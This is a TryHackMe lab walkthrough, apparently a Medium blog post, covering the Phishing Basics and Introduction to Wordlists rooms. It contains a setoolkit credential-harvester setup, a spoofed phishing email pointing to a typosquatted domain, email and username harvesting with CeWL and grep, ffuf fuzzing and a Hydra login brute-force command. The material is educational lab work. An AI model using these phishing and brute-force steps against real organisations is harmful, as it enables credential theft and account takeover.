TryHackMe Phishing Basics & Intro to Wordlists Walkthrough

TL;DR Walkthrough of the TryHackMe rooms Phishing Basics and Introduction to Wordlists.

THM Walkthroughs:

A full list of our TryHackMe walkthroughs and cheatsheets is here.

Background

I am continuing through the Jr Penetration Tester Pathway as I need CPEs and a refresher. Both of these rooms were pretty short so I’m just putting them together in one Walkthrough.

Phishing Basics

— — Task 1 — -

Are you ready?

No answer needed

— — Task 2 — -

What is the primary channel used during a smishing attack?

SMS

You are a CEO and have just received a phishing email sent only to you. What type of phishing is this?

Whaling

— — Task 3 — -

You receive an email stating that a special offer for the new iPhone will expire in 24 hours if you don’t act now.

Which principle is being used?

Urgency

An executive requests sensitive data via email, emphasising their position within the company.

Which principle is being used?

Authority

You receive a message promising exclusive access to a new product no one else knows about if you click on a link. Which principle is being used?

Curiosity

You receive an email claiming that your account credentials were found in a recent data breach. Which principle is being used?

Fear

— — Task 4 — -

Which technique relies on users making a typo?

Typosquatting

Which three security measures help organisations defend against email spoofing?

Answer format: Alphabetical order, separated by commas

DKIM, DMARC, SPF

— — Task 5 — -

Your campaign shows a credential entry rate of 6%. According to the benchmarks, what risk level does this represent?

High risk

Which metric measures the percentage of users who open an attachment?

Attachment Detonation Rate

A client has a click rate of 10%. Which single recommendation from the table would you give them?

Focused security awareness training

— — Task 6 — -

What is the password flag?

ssh attacker@10.64.137.138
attacker1234

cat /home/attacker/setoolkit

Copy/paste the contents into /home/kali/setoolkit/index.html

This can be run from the TryHackMe VM or from Kali be simply tweaking the commands a little.

sudo setoolkit

1
2
3
3

POST back is your tun0 on Kali or the TryHackMe VM's IP if SSHing
/home/kali/setoolkit/ (on Kali) or /home/attacker/setoolkit

1. Copy just the index.html

http://tryacounting.thm

Navigate to the webmail on the VM’s IP and port 8080. Login with attacker@phisher.thm / attacker1234. Change the from field to support@tryaccounting.thm in the drop down and shoot a phishing email to bob@tryaccounting.thm. TryHackMe helpfully provided us a sample phishing email.

Dear Bob,

As part of our security policy, we require all TryAccounting employees to change their passwords every 3 months. Please log in to our internal portal and update your password before Friday:

http://tryacounting.thm

Thank you,

TryAccounting Support Team

Please note that if you’re running the setoolkit on your Kali VM then you’d tweak the email’s URL.

[*] WE GOT A HIT! Printing the output:
POSSIBLE USERNAME FIELD FOUND: username=bob.wilkinson
POSSIBLE PASSWORD FIELD FOUND: password=THM{you_just_got_phished!}
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

THM{you_just_got_phished!}

— — Task 7 — -

Get Rich’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Well done on completing this room! If you’re looking for a challenge, try out our You Got Mail room.

No answer needed

Introduction to Wordlists

Make sure you edit your hosts file on Kali to map to the two domain names used in this room first.

sudo mousepad /etc/hosts
10.66.132.193 tryfinanceme.local social.tryfinanceme.local

— — Task 1 — -

I’m ready to learn about wordlists!

No answer needed

— — Task 2 — -

What tool can generate a custom wordlist based on known patterns?

crunch

— — Task 3 — -

After running the CeWL command shown in the task, how many unique email addresses did you scrape?

cewl -d 2 -m 3 --lowercase --with-numbers -e --email_file emails.txt -w cewl_words.txt http://tryfinanceme.local
wc -l emails.txt

4

How many PDF files were you able to find?

wget -r -A pdf http://tryfinanceme.local/docs/

1

How many email addresses (or new emails) were you able to extract from the PDF files?

grep -RhiaoP '[A-Za-z0–9._%+-]+@tryfinanceme\.com' tryfinanceme.local/docs > emails_docs.txt
sort -u emails_docs.txt > emails_docs.unique.txt
grep -Po '^[^@]+' emails_docs.unique.txt > users_from_emails.txt

#Alt
grep -RhiaoP '[A-Za-z0–9._%+-]+@tryfinanceme\.com'
grep -RhiaoP '[A-Za-z0–9._%+-]+@tryfinanceme\.com' | sort -u | wc -l

6

TryHackMe wants 4

What is the last username in the users_from_emails.txt file?

security

— — Task 4 — -

#Run all these to get the files needed for Task 4
for f in $(find tryfinanceme.local/docs -name '*.pdf'); do strings -n 5 "$f" | grep -vP '^[/<>%0–9\\]|^(stream|endstream|endobj|xref|trailer|startxref)$' >> raw_words.txt; done

curl -s http://social.tryfinanceme.local/ | grep -Po '(?<=<h3 class="profile-name">)[^<]+' > names.txt

awk '{print tolower($1)"."tolower($2)}' names.txt > users_first.last.txt
awk '{print tolower(substr($1,1,1))tolower($2)}' names.txt > users_flast.txt
awk '{print tolower($1)tolower(substr($2,1,1))}' names.txt > users_firstl.txt

How many words are in words_clean.txt after cleaning up the file?

cat cewl_words.txt raw_words.txt | sort -u > words_raw.txt
cat words_raw.txt | tr '[:upper:]' '[:lower:]' | tr -d '\r' | grep -P '^[a-z0–9][a-z0–9._-]{4,}$' | sort -u > words_clean.txt
wc -l words_clean.txt

161

What is the 10th password in the pass_helios.txt file?

head -n 10 pass_helios.txt | tail -n 1

Helios2009!

What flag does sort use to remove duplicate lines?

-u

What crunch template character represents a digit?

%

— — Task 5 — -

What HTTP status code does ffuf report for helios/?

ffuf -w words_clean.txt -u http://tryfinanceme.local/FUZZ -e .php,.html,/ -mc 200,301,302

200

What is the username that Hydra discovers?

hydra -L users.txt -P pass_helios.txt -f -V -t 4 tryfinanceme.local http-post-form '/helios/login.php:username=^USER^&password=^PASS^:S=THM{'

#Alt, better way
hydra -L users.txt -P pass_helios.txt -t 4 tryfinanceme.local http-post-form '/helios/login.php:username=^USER^&password=^PASS^:S=THM{'

alex.johnson \ Helios2025!

Alex.johnson

What is the flag?

Navigate to http://tryfinanceme.local/helios/login.php and login with alex.johnson \ Helios2025!

THM{w0rdlists_win_rooms}

— — Task 6 — -

I got all my wordlists sharp and ready.

No answer needed

Summary

Phishing Basics was a good little room on how attackers use the Social Engineering Toolkit (setoolkit on Kali) to generate phishing sites and lure users to them via email. Phishing is still the number one way attackers gain initial access. Once they get access they often try password spraying to then compromise more accounts, move laterally, and gain access to more data. Sadly this often works as users pick poor passwords such as the company name or ‘keyboard walks’. Attackers know this and generate custom wordlists based on the company, local sports teams, etc. Introduction to Wordlists was a good little room stressing this.

References

Phishing remains top route to initial access: https://www.cybersecuritydive.com/news/phishing-initial-access-cyber-attack/711371/

Password Spraying: https://owasp.org/www-community/attacks/Password_Spraying_Attack